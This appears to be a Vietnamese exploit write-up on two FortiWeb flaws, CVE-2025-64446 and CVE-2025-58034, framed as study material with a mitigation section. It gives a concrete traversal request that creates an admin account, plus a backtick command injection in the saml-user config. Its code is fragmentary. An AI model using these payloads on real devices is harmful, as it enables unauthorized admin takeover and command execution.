## https://sploitus.com/exploit?id=2DEFD2D9-CD2E-5E1B-BEAB-3A15FD3493B4
# Mô phỏng khai thác FortiWeb (CVE-2025-64446 & CVE-2025-58034)
### Lưu ý:
- Tài liệu này chỉ phục vụ mục đích học tập và nghiên cứu bảo mật.
- Không sử dụng để tấn công hệ thống khi chưa có sự cho phép.
## 1. Tổng quan
FortiWeb là thiết bị Web Application Firewall (WAF) dùng để bảo vệ ứng dụng web.
Trong năm 2025, hai lỗ hổng nghiêm trọng được phát hiện:
- CVE-2025-64446 – Bỏ qua xác thực thông qua Path Traversal
- CVE-2025-58034 – OS Command Injection
## 2. Tổng quan về CVE-2025-64446
| Mục | Nội dung |
|-----|---------|
| Loại lỗ hổng | Relative Path TraversalAuthentication Bypass |
| Nguyên nhân | FortiWeb xử lý đường dẫn không chặt chẽ trước khi xác thực:- Kiểm soát truy cập dựa trên chuỗi path logic- Không normalize đường dẫn đầy đủ- Cho phép sử dụng `../` truy cập tài nguyên nội bộ |
| Mô tả | Một số endpoint quản trị có thể bị truy cập mà không cần xác thực hợp lệ |
| Tác hại | - Bypass authentication hoàn toàn- Truy cập trái phép chức năng admin- Phá vỡ mô hình phân quyền |
| Phiên bản bị ảnh hưởng | - 8.0.0 – 8.0.1- 7.6.0 – 7.6.4- 7.4.0 – 7.4.9- 7.2.0 – 7.2.11- 7.0.0 – 7.0.11 |
Ví dụ:
```
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
```
---
## 3. Tổng quan về CVE-2025-58034
| Mục | Nội dung |
|-----|---------|
| Loại lỗ hổng | OS Command Injection (CWE-78) |
| Nguyên nhân | FortiWeb xử lý input không an toàn khi thực thi lệnh hệ điều hành:- Không validate input- Thiếu escape ký tự đặc biệt- Truyền trực tiếp dữ liệu user vào system command |
| Mô tả | Lỗ hổng yêu cầu xác thực nhưng cho phép chèn lệnh hệ thống |
| Tác hại | - Thực thi lệnh ngoài ý muốn- Truy cập tài nguyên hệ thống- Ảnh hưởng tính toàn vẹn và khả dụng |
| Phiên bản bị ảnh hưởng | - 8.0.0 – 8.0.1- 7.6.0 – 7.6.5- 7.4.0 – 7.4.10- 7.2.0 – 7.2.11- 7.0.0 – 7.0.11 |
---
## 4. Quá trình thực nghiệm (POC)
### 4.1. Chuẩn bị môi trường:
```bash
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```
Việc này giúp tránh xung đột phiên bản thư viện, đảm bảo tính ổn định của môi trường làm việc và hạn chế ảnh hưởng đến hệ thống
### 4.2 Khai thác
Payload
```
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
```
Chạy công cụ bằng Python3:
```
python3 exploit.py
```
* ``: Địa chỉ IP ở đây là tên máy chủ của thiết bị FortiWeb.
Có được username và password -> tiến hành login
Khai thác thành công và tạo được tài khoản mới với quyền admin.
### 4.3 Khai thác CVE-2025-58034 sau khi đăng nhập tài khoản
Sau khi đăng nhập thành công bằng tài khoản quản trị mới tạo, kẻ tấn công có thể khai thác lỗ hổng chèn lệnh đã xác thực thông qua các yêu cầu được tạo ra đặc biệt hoặc trực tiếp thông qua giao diện dòng lệnh FortiWeb CLI:
```
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
```
FortiWeb sẽ thoát khỏi chuỗi cấu hình và thực thi lệnh id trong quá trình cấu hình saml-user.
## 5. Một số cách giảm thiểu lỗ hổng
- Cập nhật FortiWeb lên phiên bản đã vá.
- Giới hạn truy cập giao diện quản trị.
- Không expose management interface ra Internet.
- Kiểm tra tài khoản admin bất thường.
## 6. Tài liệu tham khảo thêm
* CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
* CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034